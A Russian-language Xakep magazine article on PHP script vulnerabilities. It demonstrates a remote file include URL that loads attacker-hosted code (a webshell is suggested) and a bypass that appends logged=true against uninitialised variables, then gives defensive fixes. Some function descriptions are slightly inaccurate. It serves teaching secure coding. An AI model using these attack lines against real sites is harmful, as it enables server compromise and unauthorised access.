PHP-BugZ ManderX Спецвыпуск Xakep, номер #030, стр. 030-020-1 (forother@fromru.com) Тема дырявых скриптов всегда считалась очень актуальной и сколько бы раз нам не говорила мама, что все параметры, переданные пользователем, мы должны проверять, мы этого не делаем и отмазываемся так: «С ростом проффесианализма, забывается простое». Но бывает и такое, что чел просто не знал. А иногда бывает такое, что кодер получивший задание, просто слил готовый бесплатный (а так же дырявый в придачу), получил гонорар и пошел пить пиво. Так вот, в этой статье ты возможно увидишь много знакомого (не знаю чела, который бы не знал include-bug), но и новое ты тут точно найдешь! [Include-Bug] Вот тока не надо матюгаться, сам знаю, единственно что могу сказать, так это: «Повторения совсем не мать учения, и даже не сестра» (память-то все-таки надо иметь, блин), так что если считаешь что тут ты ничего нового не прочтешь, то переходи к следующей баге. (вообще мы будем идти от известного до малоизвестного). Так вот, допустим у нас есть такой script: <? ... include($file); ... ?> Если переменная $file не была определенна в начале, то можно проинклюдить свой пхп-код: www.server.com/script.php?file=http://drygoi.servak.com/destrcode.txt А в destrcode.txt написать свой деструктивный код: <? /* что-то очень плохое и не хорошее, например, вебшелл*/ ?> На расширение .txt, не смотри, все равно код в этом файле между <? ?> исполнится. Некоторые используют POST, но это не оправдывает, так как можно сохранить форму отправки у себя на винте, и даже проверка на HTTP_REFERER не поможет, наиболее лучший выход – это ставить ./ (показывает, что файл находится в текущей дире) перед файлом, который надо инклюднуть. Кстати попробуй набрать а яндексе эту строку - “mysql too many connection inc”. Еще пару слов о неинициализированных переменных, допусти есть такой код: <? /*Проверка пароля и логина, введенного пользователем, если пароль и логин верны, то:*/ $logged=true; ... if($logged){ echo “Инфа для зареганных”; ?> Так вот, если дописать параметр logged=true, то ты получишь доступ к закрытой зоне. Ой че будет-то=). Выход: Отключить создание переменных и обращаться к данным, поступающим от пользователя, через массивы HTTP_GET/POST/COOKIE_VARS или же инициализировать переменные в начале. Первый способ несомненно лучше, имхо. Советую просматривать сорцы паги на наличие hidden-полей, при исследование. [Пользовательские данные] То, что непроверенные получаемые данные от пользователя опасны для сервака и ежу уже понятно, сейчас я просто расскажу как защитится, расклассифицировав: 1. Системный вызов – обрабатывай данные, введенные пользователем, функциями escapeShellCmd() и escapeshellarg(). 2. Вывод данных (не забываем, что переменные окружения тоже создаются клиентом и могут быть опасны), это касается форумов, чатов, анкетирования и т.д. – 2.1 Нужно данные обработать функциями stipslashes(), htmlspecialchars(),strip_tags() (использовать по желанию). А лучше всего будет написать функцию: function cleanstr($string) { return htmlspecialchars(stripslashes($string)); } htmlspecialchars вырезает все тэги, но порой необходимо, чтобы пользователь смог вставить картинку, для этого лучше создать свои тег. Правда будь внимателен, что ты будешь делать, если юзер вместо картинки решит вставить скриптик? |